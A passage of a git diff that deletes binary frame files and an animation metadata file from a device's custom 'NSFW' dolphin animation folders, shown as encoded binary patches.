zoNyrn?et*!;17mi42cVR}_J2Tq0!$xJMzMp|3|~MH!~yI8aD1XfAHEI1xS$b$d&9rq`3Mw$ Qju8i}7v=x|&&mP=AWcTipa1{> diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_48.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_48.bm deleted file mode 100644 index c06329bf1e8518e79b6de25857367379a1871af7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 404 zcmV;F0c-vN0FVIy7y1qZ7=M5eUJr-h5o82Ju~3`kH^9LKc55k{trVU1J?Kt)q-#V_4x;+5FZ~A ze|*96-!OQzARfLjc@In;UNCw2+z=05I6UTn^Y8=acn?oFJo(`Az()b|kAs8bjt_VM zJvbcjd_w{Ap9ju-9+2^T1N#9V28{pz9|y=VfAH{n$Cd~WC>TEP|LOby9;NgLkSsy! z0AKg<_8|NIUjSkc$Vffm0QCF|gdd*(83WcZ4@rPOq5$)6pgmxK_?$p25Hc$N@!<9N y4T!uz@#llidGKWn0zfk`c!~-EeE5Gq^|>%TINufLuR-@t4LR9{@;$$N&Ed zjNl$K`Rw2pAoYj9BcI@Sip%&35P87C=o>HaJf{Hh0t`54K=zD$421^=kd$Bpk_U_e zAOsvZJa6zA1^{wE1i)ayi2g2d*3* zQ4N4S3F!xqhtL3E^oP%Z0|*Dyd>&E7Xq`+Rs{>w`J*VLR{sZN{clLqs6o?Nw_&r1M z2XG)ge*p4r;Pf1rJs<$|@Bu`wApM2|$QD=#cs$snE(h-n3_$f4rUTM%J{T;)=mkJ} zfD-^768Qu0e!vCbI!qq!65s*N9-suE1Lg&I#6d6tLx7{!75* c_Yix3zyJ977=MMa2Z@yOz~Kj$1OE@e0Q=zoE{}Kt7@F0_$&s70llhJ3cdi z=X}imj9K^~`}5|B2iWiYcl;5N^4y_8p!R@?z<1XB4`etj?4CdP*x+D)^c7o&J$thQ zd)J}H#|7*U4KfdW{KNci3jd2Q4)Plu>V%JRN~qr{kxT#O-(wMH_o3$A!KV$so1edn zmwev*jemX(TfNO3qyk%7bpWslzpg{41gT@d1kAucM6&QRBK0xunK>h$h zfM>zv9vlFC;9(I5k32qr@d1!DfP=>ejC>woq6ep(9zbF67E1vE2bTlJ4^O}hum_{y ze8K7dKL`PQ0P+=&fV@EV{DaT%ULXSe0qOiN5IuuJwK?!U140itfIa^J^1q%8A7#db z0Lt(WGvj~?`2G-h$ASGk1*{NmK=c3J0qevMus!2|_xOw022;R!_|OwP2N(a25AJ() z*#r+fd-cKXp9l1PU~obrPmAY2kAjRJED8s#_!3_LdS8L(|7aLK?|_ovU64?l=~0q28* FgUHXC*AoB$ diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_51.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_51.bm deleted file mode 100644 index e7e03bca32f7e767e4e848fdff5189912aba152f..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 452 zcmV;#0XzNy0Kfr{fQR@4FZcid3xG!eqX&t`0pkw`qz(ZN0t_4$VD$nBJ>cM@zkvr1 z4^SY0#tq;i4geld@L3K>9wnl{aKYsP0|-3eK=R;lLF5J^NdObU;RmOJeh+^DJW)mX z0gyd@0P`0JjDQL72cQs4L;y>GJwFBG043lQAn|~zMYQ1apWxsV;C>^-0Ta*QKf&Zo zaC@5^9_Yt{0ET>OAN~Bg*a5jmf#*C;und9ecn2f~7!QAd@eZgDKmULfVEXWq2LKBw z5DcT>;{Wi_3J;7rLP6?~J_Z1QVDyK_!RBxfd&j}$2s#KpRs;_d5rfu#4?=pM&VPIa zkUp>A^CyS^-R2J;z(0TB{|A@>LF@266L|sS{4W>(;tV)IJnz8rgM-!z4?EyIpg;c% z3=~d8{sYPZ|M7#$zz<)?{@xGi2t8l`Gk|_SGw>jT@8b^#mmD7-510^v>3|=n!X^*k zDTC|42^bJRWdN}!*8_tC2bgUD2Y~znh(4h8zZ2XZ$l)ij0eA)U;e*T$AoGBO_JRa9 uc!fkB(g1wH_Zx=U1LqI_01Z4JSnzpAz~l=b|I8m>;CXyRrVm~R{tx&pvB9bU diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_6.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_6.bm deleted file mode 100644 index 83d53d6c6b3de1aba26ba114a677b45b21b64cb5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 242 zcmZQ%c*pR+LFhi)0wxiLt3S#Z_6uQ@bNIn?>DIU&-j_YA-VA%|DgxR86Q1Z@Z+!&!*BHto7OM<8VC11-@u`gSYN(_ zrONWa@8;+48Rnn2k>61B^MQ`y58>DMnG1P8)W`m@uqi+A>;C6MDg3K{`W*cF-}M3` XcL~D>_68fq2mA~b%m?HMaSi|gl9zD4 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_7.bm deleted file mode 100644 index a073392f6446a4b97c4d12906b7fac27be2ec9c7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 263 zcmZQ%U}pT^AXLxSQQxS=pSi_Cw*Gg$M8JXX%?b7mzn34>VE*&`unNM#hfy)$2P+!`|Hg#o(;xU}$S@`Fzba{B{J?(SLcaN9 z8}pHP*N<%iEb;*_ScD20-Z4M3kr$}=-S}Cy!MXAAclI;y82M);NPn&7?>*eWzkUys wea(k@ClMX}4y(QY1SIY|e!b6nf#Lgu|Lh-_56CfmU~jNte8A68fs+#e0FQ}mtN;K2 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/frame_8.bm deleted file mode 100644 index ec94a670e8524144f4bec08f16f9e766ea4d4b58..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 263 zcmZQ%U}pT^AY}i4V|}9*L*$;k0=^9uHy$+nnS5}A{DHay>_79_JN9dSIKzHNzVt^r z^CSKpKWyB8%J)UE{*>>@;Qc8-C&ZTFPfLY8!|(Y=jN}~Z9@`}Rxsmik;m?O6$KMNn zJYf8(FlUR=Lx=w6cmEw8I3E0N-%y|+z}D*jL4=`>pY0I8SgZ2`*#-5UL#^{qgBO*IKLtM2G5)@g{-#;*5&JviHvaQ$ z>P-B*|1*E$zr}X6ar!K_FY@L8*_iklB0~N*HZ(JTW^8D15E7MdVE!i0u%P*9qszg! z9*n5U(ql8I&L diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt b/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt deleted file mode 100644 index 240e30716..000000000 --- a/assets/resources/dolphin_custom/NSFW/Anims/lvl_29/meta.txt +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: Flipper Animation -Version: 1 - -Width: 128 -Height: 64 -Passive frames: 52 -Active frames: 0 -Frames order: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 -Active cycles: 0 -Frame rate: 6 -Duration: 360 -Active cooldown: 0 - -Bubble slots: 0 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_0.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_0.bm deleted file mode 100644 index f3803b0ddafcadfe32124e66bebb54f0d4be3536..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 776 zcmV+j1NZy^00aZjRVXnGC;$HkfJFgg^nifJ6;hQ^dLZ$y)oZn0ul}k49R^bcDCGmj ze}IBOJ|FP;WVKSP7l0mBT9sG(|I*bZRE(Blrmz{z@V70**crNYHAak{`$|F}_!24skq62?9}}?EWkB<*;sm9?fMO_>Sq?xRczF;M zullJKLsj4RgNYP4fO&_;l*JqPJoIuPDe9tC5AEBw2{~RM3UWq)dR>xM)Bl>)`$!c`XYoLwG=5LNC++B03DD%Gx2%f^q}>r0EWIFKmVK_ zx#^gB+t ze)#|UNPKtyApLZ`V*BO)?OoA*=N;l=9sg(_9*_UX_$>4QAf&ZKA>aD}?_Vs9muerV zdgMkT`W?7E^!_jZRG2sUcs<}D@%0M^|GWMJm%ml`r^KElVFL&OHShyqw}b#W{!l$| z^Ae|{JgK%RjS)!tl{7LMrD8X-)Xn)Y^!^!?-$zt|JCa4R9$2%^=QJAtMVv)MDqX*ZnqVZ>R`#Tx`R&b`}Osz(F)~P|F`~+&%QGnzPAfP)WW;p-+$CT ze{TNn_Z5m(vaRz^k$iu4{;rEb*rPc|d-Y+K{H8tqbW$s^g$2jo)(;olMmv42N`YFE G_fZ1faFBZd diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_1.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_1.bm deleted file mode 100644 index d88a90ea66175545d0f367ef3b527b6d7b14e510..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 775 zcmV+i1Ni&_00RS(RbmiI5BeVf!b++D(yl;h5}GYWDgUq4cQUQ+r~op0rAnnJ#c03t z_yv3|u(Aq3e7ZiWjHatSh{+Nt(BTyy zNEBgEsFtHu5R!ri{}qzJhNVD|Vk%OaRzN;dJdB`fQCuvEzA_vre5$Zq5Y*xjiltVG zs0Ww+p(qEGPfMbzWn~;tdElTxLZiST3h~190p}EQ2moOEnH3_dQso2AgpLpZ%ixra zSI`=0p^_tn05tlHMydP%ng|{+p9mDA@G2IozgFji&Zs9n{j*!t0*`zWcqgF%4^#pj zczoW505JIr&;KD0@BdC8o;V!f;r8_ahb{*__DP5I0Aiu>-UrL>UVQ?*exSkk z^}+824~=*XJ^D~Rqk4dN{R@PUeXa>&U;&Y#gaDEbpbTrsA;0VRgXOh&K!ULl0L1kp z0{8#3^$(yJf54*CWRN3&h+t**Btd&c3eJr7&QYiI8Ic|mJSEOW_Llns3>{sIX z3(Fs>(tqo;nG}?~U;lIPud-gQT5lqR_ zi#p5RKR@iZ$xEx(w*0+S|8M>G1BZWCz4d)N+K*RTDts06UVi&67Qa`j)$pQ`@BM;h zZ~pK7HoC0`SEBEOg}#5?z5c2I8C7o+`wkCy-hb=v-?fU!Rk*kC*$58r|Ls-fa8Y>o FOagpve+2*l diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_10.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_10.bm deleted file mode 100644 index 3d5040bcb19cc124d2b17d59ecb9d1b35ae3999a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1016 zcmV1paAql`2(NYyGy~^?PgIuD?+ahUCfBNdNnP z{`nMR@}K5UB~t3|!^Qiz|NZ~^egpfes#3i|^a&TYJt|*{yg}kGBM|@wFGTKTX%%0n zphhBcKfb;tc9i9GpP*3R|NqeOZ{xIw_{z0EqEPF_>G!AMf5G9^e}&^e?|nz-9;sU; zG@7Vff3*JSd`2U`tH6KSQ-GcdFRrf?_db`f z-=PQJkCJ|>a$m3e&KVs4i{IY@jejBjs?x5%@mR~|n2Na+cJjI}@{_6E56AsawDe_P zaQMgKNAam5#6B?imJ@~ZAB{ef{*?7!!e1WzizB4`2g?Yr68QbY*`MN zr1gJ(zx94A5xo5a

{_tNW`o4Q`44{NLH*rT#m|rQa8gepM0RugBk?h%d)UYW&jC z!$N{Yzl{->(vjm;y7y{-x!hAjqW^FH`S}O&embvptUfXbB~(5>+I}njGk6bbul}9k zWg3t5{Jt?C^%hfA_UnJMc!dU1lpox`Mf|MNs=eJ`>hC3rX&vG}7@>S>TAy~m^?$%n zC|~>ed}u%Dtyfjs>4(Nu6~qh2-yf9+$0=&6ZT?>P1p}h4AMU<@pB*lG0o4B8^)Rmx zJbv-`ulkp%f$46a9()p^=voi1pP>J0eNu>rC)=;lz@5SX9Q-T!C63UbwGW?u3n*s~ z|Lre24OdSPs8xEh`q=o9MkFUR;UWfpF()vgHt5k^ObY7|Ww1?*+{!L&M zN+l!LUsebJOXDxXf3vixlt!i1w}+5EH81oXax@GEtKJ_!f2v;y{#0U6sH|73-v^j{ zv|s2YB0->_Wp)1$X>b0r_@w%UfyI8Jy=wN9TtE@e(6Z49RD#)os#ob@^M8z@4Mf0U zHqwB2;D`t7&)|u}7081IsjZ3w$M1jt%j%FrXz41jfcVgV0rL9i;8_S%C*v#7>Lrm+ z$T)5O`F^5BAdz>WP*09_f%FfT^u9PsS0d}Blz5?#qyUe{?td9X1EZCJV0juz0DQjw m)cBT%eN~jjFi@IT#T-5I_`)F&8dX;XK-5tn0rCCc%i~han>ob* diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_11.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_11.bm deleted file mode 100644 index ab46fb0b823bbcb91199d20e7344a5056a85a9e9..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 991 zcmV<510ehX0NVrqQfX41FH^hft6gfffB*hJ1paAql`2(NYyGy~^>(YTuD?fWt&y{~GlA1qh;sxK{8yW7^^ZFRqIR=z>}(2K`Yvi^U&cdcF9+8-RR`zkLQRd>64 z+xKeP+vxmcAE9W72DknD-uM3Azi2*J;Bi%J|KI<<`&+jC{j~T;@>40w)j$8=_4mJR z@BY5|{Skb0vQDX>Km+&t`~APz{8RZwrD}OV^Z)O+`~Q7@gZ|8y#6BbO|MtV<>iy&L zm%@2^cj5EDfQR27kpD;HRQiLD_5(R;ym2*5udBWbA(3})^!kr-tBKNnzyIL+{oUjC z$xN!hUwC~-<5$%GB(z;fd`W~KJN`ZizSPwv#{x@Ln|e2)uP&FW;;lF3;fPJazChtWghrL}%-W`UJZuwUT#*YOJRm2G?4 zzx?k32$g>~|EYYJ`6;PteVV`Ud}>t_`DgMU>Rne=?W_Mo;{eqQ$M;V!j;Bc~?$v+0 zc~+`WWFP!~LXRA-tKF~tUBly|50BPggfEV!sqG(({!@~qCxm`AFZ7nH)i00A?}UV4 zzy1I8z6t)Mkp6fSE_@+x}RIV77@b#-`>KH8c$Y{NYwp#@{I?e zUO!y?h@Liy6h_hY_u%17;Q$Q3Dg4sLp%g5TU}CxhaNoz{LjPrH+8jlr*RQ4NL!;jh zjG*2!I3$Xt%dgJAg5nbkkaaMcjw35CGx6&J#q*nhLzQ?gU`M{7#I3$il|`& zTsAKO9s7322VtbrQ&zM0*W^FSEh|%`*57XZzU^wa_YaO!{i(`Q zsi6Heczk4{@v2?_{rg_OUEcSX#}$60%1Q(O|6lw4`>k*L`me-)m0DJp z)GiPvDs-OEyHFd^|5pY}gN{%Unw z@A^Qu;PDHN?wcyxQEFWAd3VR;FD(57`IX8GL_R(GdQe(p`-{TA+MiccK1`AOFbjWO zsNSV?Q0Rb1y$|{!2LJbm$iLK^$^1d%;nDuTe$n{X@juF|IDz9zf%rcl@&C)@pX^Sk z9zUP|123xie-PuH$$zS~pYPx8|H{$mAAl&|o&%v zDEx!Q+#eV(`Zs~lYOxnBE(`EKFK&NP{HDqwRe24f6G(Rr{r)oe7y1{1&~0#*DvU%v zH~!z(KUDuz43M7L8bZVzLAI3BuB ze&Epom%n%YkLf>^8BVA44iExs{nhwS`jtwm|3U4y{X_I$!}#RCz_JOQzuF%yPE%F> z{e#zE{*TnVl3gy4+A5JDp1-%Rz<+5noTwmQH6bS>lY_0!>3$u6s$UmE>>Ny68c%3V<}m-~PGkCF$GhyUO9`1~RKa$a!x zNno8Ui2Q%``A2(8RQr#{zC|7n99%zGZ5Q<^(*D8YzpX(%JvE5;>+uipd_m$t8ns6S z!vFpL()};;Q`I+*^M5LWR(&P%&%z($i9eP8g^|#Bm&0|Z=)croS906c#GS$>oKm8yF0f8YG01xomT`s4A5H^)o*z5ajrNkjlXKVMwF zkS`rq%K9G}77C^K51fd;HBImL_5Z}nApt?_`(^kP+#feShCC z{w}pd50Ly|pXK=Wzks2W#bPPZ50<0-Q-a1_+1_R*#_d)329ZCFZu&SpNG(hwB=j0#CU8bP{$bY+F^RNG7p!)~c+aJiA$4!EQLccX~`pe(t1C&%K9%{QtKm%R+=jev< z)ZnmDE~dR6b^m<66aKWoB^ruHX0Fa4c>eSC59O|_f$~7An)nbryTS1{j8*|8+)_F< zb3lW}+#eW+`m;&M`j8`+#D4+f-}}q-zsP)o2~N~lB=QjW-~Zp}{2;zCs*SD#s-s~) z0P+9&_3rV3$S{*#B?2oE7mohl|Bsu-Q;DcoU^J>N6Y>uq+q`O5$P|l<4XQ*UQ4x6e I@6PeW0N0T=&Hw-a diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_14.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_14.bm deleted file mode 100644 index db3f2545017b9ed33e985d893ea40d76ffae7574..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 997 zcmV3C^ zj|2bS@BRCJ-)=vo|4B#V{QZN+`~o2O>)>C?PF7X@50~^NKK!`+YM1J*N~QS+kN`ph zxA&LFxE~s)=vZMA*Zz~|q{V)LLw^~Hcy0dueM9-Bl~hOOA3J*dV87{2My>t-GDIdL z@!$IC`hfV-sVU(A5A**&Fc1Gf0{>F7RUujWzy06;e(f)+e>F8tRQOUM^3H_^-%r5b zq`FlYhDU$s|JRa*AC-3<<5e7vUw(5Vp#AFE2YAY=xA6GS`W^6rck%G6rB6we-~X`j z{V!a)KmVF``CbbtSP{UhB|%Jl)`2an`B zTJU)9ak4MglS%3ajK4ob;Caxa?~ma>(OFMael&WFL#x3LkMCbn{#kUP^4H6#ybicL zci8wr{B>VIc+={*k5`OdB=ON-wRuj^yleWo76*{OC~PPBDb)Lo*B zz3=+JiP364zx#jRK0g!i{YB#+kwP?IA$d#cBJryIci-*)B0)(HkN@=_#eb-~n^62_ z@+ee;;9np8K12T0(yq4u?Eev<#eRe1>yPC>m0FhQo;&dQegWc_8WDVQmn;AF|A?w# ze}v)t$Kr|dtzEyi_!Ryj{(q0|pP~LuX*FB#_y4HfXoKP)9Q+WzGObPf``^IQp#b3z zjJ~D*s_At=@|DFjK=JQ~#}WM0)jGe@_~CR6;{W}n@gMX~OLg^sH}SYB_<#c+r5ndp z8pwXH_PT&HxBp#!K|VB$HV_^?b?Fz%KSlmh^0GM+JaWL}FO$4wJuE~c_y5%c%>G94 zAB=)TOCHep-QzF9e=@U7Ed%NQ^#_lBA4=4sDfPdTlm0&yc;#T28V2M4)drGyeZlgQ z)#8y~js8|YPyD@JHCRmsfn>YZoI)QIc<1Cp@uI~cH6Q(0fI{*2%krP@tU`mN;vdI^ zeI|J4=wHh%3K3z@f3;FTd2PqypBc;|qxi*Ms<;q%^Z(=VFODun1e(Y_a;T^K|M$O- z#|i$H&>}UgEvkt@2ajLh`wx%v4-}$TavrHnQ}`br|G0ip8U%`8g0)~M2m$@>!{eg= TQDV59RHD@tg$Kj{KY4sm3MV*M diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_2.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_2.bm deleted file mode 100644 index 9e43f27a5480f0d2b72e4fd834130daaeed09174..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 784 zcmV+r1MmC+01N}kP@)h@3}S!@Duq@K1RN%kDMhHoE4^J%0BTyAjaI8yl;~v`trT+r zA1bD{1OylrDi?*QLMytU$kl2$TBfR1tEyD05Unh70|5_~bOtmE4JQ+d&_XBDN}a1q zRD|5d=MbZRh&j^YJH)np_YPnZ4y zimJ_EQYt1sQ4p0v@l-G8|0N*R)3TV1ghq=+sc2-8Pw)N{3aen~5-TkUA~dR2N=5$v z>GT~*L@E)Ogj9e7C6LlT|M)x#t%1;Zsro1cBUKX0WP#&fs$XJ|uj~XGG%A$_gTx1n z{sSza_&@r&5PW4>Sf?Z&H~OR}Df<7wa1^NxN|U1U1IFKhsX$Jnmx@RzgYks?LE|r# zKy-jnqv#<~8kHAFA1eMqUM5n4hsITrge!zTGFSmrtNM%-Lsd$tenBOQl?_TC0hCc{ zxL6?|fBX4<1K@QmqzWNYsOk*@031A1)DJ2SqJ^r3VMF9V8W-S7QAiY0tEH$jgw#<7 zAf-lusL*PwRd8{C;`C6dU*fP>FH{;}0g=Q2r$DG`JzoE?y!7-SdCIV{A+ZC_Cy582 z-}VeL`RMfnb^nLP{vsoI@PX_f8~D8C^pO6~-NYYl`27Fw;t#a_QcMB|vecR9|L=?9 zKK~#Di^P7Q1owl^Kk*00+yp+ec>MwK=K&7*z9aePfQRZoACNxCLqGBZ<6Z(CsQg9q zn-8A7d|F&K>ULXI-|Uh1^3?*5fTtkD5vPe1)C Oqy76xWiu^E?7!ew#BeD9 diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_3.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_3.bm deleted file mode 100644 index ad1673b73f6efc4b0c974d7ff2fffee8d4173f69..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 923 zcmV;M17!RG0G9)VV5Ag?2NHiNfK(`$h?E22|I*4aS}j+yznaxhr7~SElXcaIQEEI$ z2UmXx}afJrq~DO5|bU&6vL znuM)9pBCA!>?>_p0 z0O25fntT$Y1c2(VP#@R+3kre}$FUa&42M-z-qk;!`i6$3fx&dBA@RgeG_~j#_y2{8 zNh*Qyg-Ao?s^3xr<0zqIWLQ0wLlF?gYBg2)2z+Rv0mMnA5Gf9dKpz-<7ybXlP@1yhhvYOr{OlF^8TL?{rRMLtmms>L-`8Wsk(H5N(YM%O44Cr8ec^IfoQ5=XHbZ(rmFym z)GARA%>FB()pa3q8U}I!Ria^Vl&|&vfyC8qC>TtXoIX;Dlz<*FA^5|{V`!kjB{WJb zBP;&@(I}q11p`Scgi^2&3`UB9|Nq2d61YrO15MFDB~qy>AVK3tqSmC8599(9Qovv` z6fOunVfhGl2POZM$S{zol$KHS2aSG9$RuL)nuj0?GC4&<0RpJSKR}U}$RNKEDB|!?D6JwDq5c9# zFAB&FN>3=NP$W7SAs~PB`m7i51sr;GVz5Z1NnAhu{2ri1D0*~g6&emC9$);N5Q1LJ-VJbs`*AVbfK=RO}h x_`YM{^Z)e0@vmHv0Da*2hrh@HVf6qf?0$jy`iJ}GA5X|WJYYkw{(pnY^-IYtb06;-}`+}`s@4t ze=5NwskRsP^-(MfzQ)*cmZM$^O&rSQ9d{k$qWToou30}mMm;OML3ln~MqAl3T~U{U zGdD42^#rx*xx7RH!6sZ0zsPKPk&?=Fnrl6bVNNQvTL!041upy*V?jBb?$s)~nC8Y; zH!)s-YO$Sl<2g#oT)u;`A)Hlu-jWckdTpX-KzPn=j57 z!d2@m#;Ah$YeTtbkO)NT-n;jG0Hki~y#cwwAoH((TUu(p)bZ5cAiu=MzFgT0O;hUD zj+B-bn7DfH&l^x#EOxSGX&>h}v7bITFU-toU2l-TlINc`&)wfq)sElsj@RE;8`Z); zr#+)wXS>-7|IM+;I`b;t)s$+Zo-$t72eBX+} zLic3prLV@veLskIH&8N_JiU{8=a0WNq&U~I6a;W*ME@DLLOMs^@~R0gxwyjbk^Gv8 zkK6sgP+|0%^N{2hx9Hx1l&F`Z6^3xNDY>gNKxY@C*XJIQ{Nky;EtO%MSKO9C{94|0 zPZgRr6GgKk;l31S4yS0kjMn#$5sgar@d02W81*1~Ovw3mNi2s-ELn{bP6!o^m#ybm z7QMN6#83}}L19gp0MopZ8sYzc*KWr5Z_re?)n@xa>rW*LX){bO@zax+F1=>iHjFh(m)*fQ1 zx;m#7G3Ej!=cnU(o?~_YI>smE!6LOSi7b>w)W*0Uex$8oOP7;H;Qx;CXpWzJfGM>I zk|}K)<61%z$>mIHJOm-x@uT0B>W?rd`nJHqU5uYhOC5}5ouzeEAe~+U)5LWlm^VdT zB^~x>62vvEunG_j!f!B(4~Q$64|rW89d3+Jg!dC}i$2kKDk8r|gL**gh)6s_k=L5S SD<~uXuctzyhXQ-1Q1}ny diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_5.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_5.bm deleted file mode 100644 index 6d05a00088dfb2d6f8baedd26f7dbf5bc7138a61..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmWmAZ)h8J9LMoXxXf#W_Hw<{DS~%rqL&+LD|?`VkY4ZV<*4j(`<;wYJuL-g45v_W z3`Vc#Wn40mEF@2KaA{2NcC3E{>(~lQE$)G(_@G!}lvy9N(qW z7e@+H{-n=LWVzIpkE0qrVpO3EA5aEf{YFMIQt6Wa*e5tS!JnTcQjth9>(~A2CzNS_ z0Yr=8bNNZX&U-m*?dm)DecLX}@I5;~efwHkh+n3OoCVt)50SH8U;a?0Tn7HZCSa9y zJvSVtd&A2n^x#6!b5vrwi=k}~wu`%ax;G4xsI>;YMJxpO9f44Z8FtBqF5vE}ekFGl z!A$ul-(M`;2<|%a^WC)*tg-?J0QV$^?K)~Gj;={L=;tf_{Hk7x6exo%LEpqmSle-vU1l}4 zyao4azp|>=&?<(_WdHU*->|sQwzHBasK7<4-8$%aQwIT|D|RaMsqddbYv{JK7EkcT z%lZ3@tpoK{ys3{rSwIs%pl$!Z4co13IoxP0fpk;XTQ}R@ndLHKY<<*L-F!i|K>SXa<`m7=R5<;n%4IotS=$Qvt@ zfee1?r9|{j`@J(lEwQHqys~p#WlrmNy@GA7J{PEAj9$w9@u=>{Dv|apMTE)joTK;Q z|L`Qe`qm(@DXnfDz-9+Cdl51~%i5cfj+CpfH#MC_Q9^9 z>q#SMdMk5$r(GrdY&Z@`uQ3qr?1`M3qVh%=EX>9Ac#Q6>qrj-iw#Iqu!J~d!5 zl=p_lRh5Kj7wzux2=rsf)Kb{O<3aknvOrT_Z;F+bh%C9qo?AF5c!S8)M5dZ&_{uSS zC=vLKuP`pk30$(|_Wsd1%qjB`+lbA5R%_@C9mIoUaZWaz*_+gHIvSXNi6m^|xE9p8 zCB_yLybw2e9)((ni&4jrfyCAB>}FvPY3Ohz{VqX>`*x@`}J;wc@upl>PLQM-NxhOd(^0`ss_Xt#VnD|^tw8_yu%K75ia+!G`=-%;-h3zK|Z3& zk{SvMW{Rs|uv~8Rk#_D#kml1wA{0S=iJbgz?y^)d(pd@35A<27aKLKm7o-Y}j+a%o zKb3vQ{hZOByn@!Ta+0b!scX^0W>Y1j=QC^zCJ5$L-xrS|Y?fb-)xc+V1!E}JI-0N3<_&NMXBfNB`#UT{ z(8D)C-qz9PPJXfjcULxP^IS^l2)McLxIfDf0ter4j&wcl*N3QlDA{0i!Q7!dM#H)5{Y)wvp=bzu_?@ zDmQ;@&h#$ktInKZ&60jG*4(~zy7Vcw2`GnD6q9$6Z!FDTucpR1`%tF)cyqaQV?ttU z&UPY}FL)n+G}8>17A*~s&N##q@y_q-;d6x;F~5ovQT0jw)IhjCc{-5Zj0hPwSE`fu zcToW`WAzx`W{|vZy8c7`!a(j}(J!iWEo9aa5{DMr4Q*}imuJ`mpHa31Q51zBFdcYn b*F4f~Vh-5R?}m_*&x?%vdOm+7alror1Oywe diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_7.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_7.bm deleted file mode 100644 index 46bba3472f938d993e41c60cfced6c3cd7a67ebc..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1025 zcmW-gacCP=9LF!$gk7TIHM>kGi0zr^C05-Z^*@pHcCGCp(%kO0*)poKKV*M6M8~wn zy(Ff1-9%zYCkkSAq%(PuZ3PEnZC{ZV!v4{Xr3DAZfg)CCakLcgdhh4U{`~Oy{(kTK z9z0GgAl=#l7aF|y0s!bYNZH&u>q7%O7by6J0!q$L!6s~kg8P^^3}Pgg&b$XtS(#@k z@`YKX<0)8&7sCaOdAUkT7*GERpURmsv|a5JWR5=V{S3o)dWQMv4ljY? z)iToSx@W=1g4kkSbx6&yrd#lcqi(W!#YS^w?DfFQg4Bdv$loOLJlv=oewgo?M`P*nox2^H^ral(N7Avnd%MHCAm2htAe{dC-eQN5KQjAe(5y;LccQbt z4N>RG3KuYDes8e0;JMmtIBc1*{?^eQhRhqX%;j)lv$1-AzG`P}y%vdGJ9-I#ZULW2 z$-RbE#pi?feND{Tg*QT>*5OoVzZV^f@!gj#^Z9)|JJ6$XF|BCVxX>#ZcA($()uD50 zrePcz=<0X`lGrDhmJs~R#H`R=cTlw}-lrLUwVsv@)M`C}_+Ua~o^uB@}?LOwr7^seJ2 zDbceA@Xv;)R8UzLx%Asw6SiQPs&gdSHJ%8k9{8wJg@A$j!5r|jF^|9|COz6ow8^260?)?wUlR#Dg diff --git a/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_8.bm b/assets/resources/dolphin_custom/NSFW/Anims/lvl_3/frame_8.bm deleted file mode 100644 index 54c2da6d223201171b099a6b0b9b081d1db03ba4..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1007 zcmV;L)x`11as{ONQp?Mkb9|Juppf$V+AqxXx- zKlDtOYyKe~JYS+T5CG}mU;S2-ygw~H4#oQZ0mdIxSC44+K41P`6-fM-$G@kMGsdgc z|J_*wQOMr`;vXD9d~}|#==^Q)x)u3iT6mGXYM{{ok3OvwhCPSt57K|Anx9v@tNz#G zs1@>f|LW!PrCxvJ5tqecvCr>+^@pl|@|8gN`hWELO#(vUDSV6lBC5@OxnKM~MH0$` 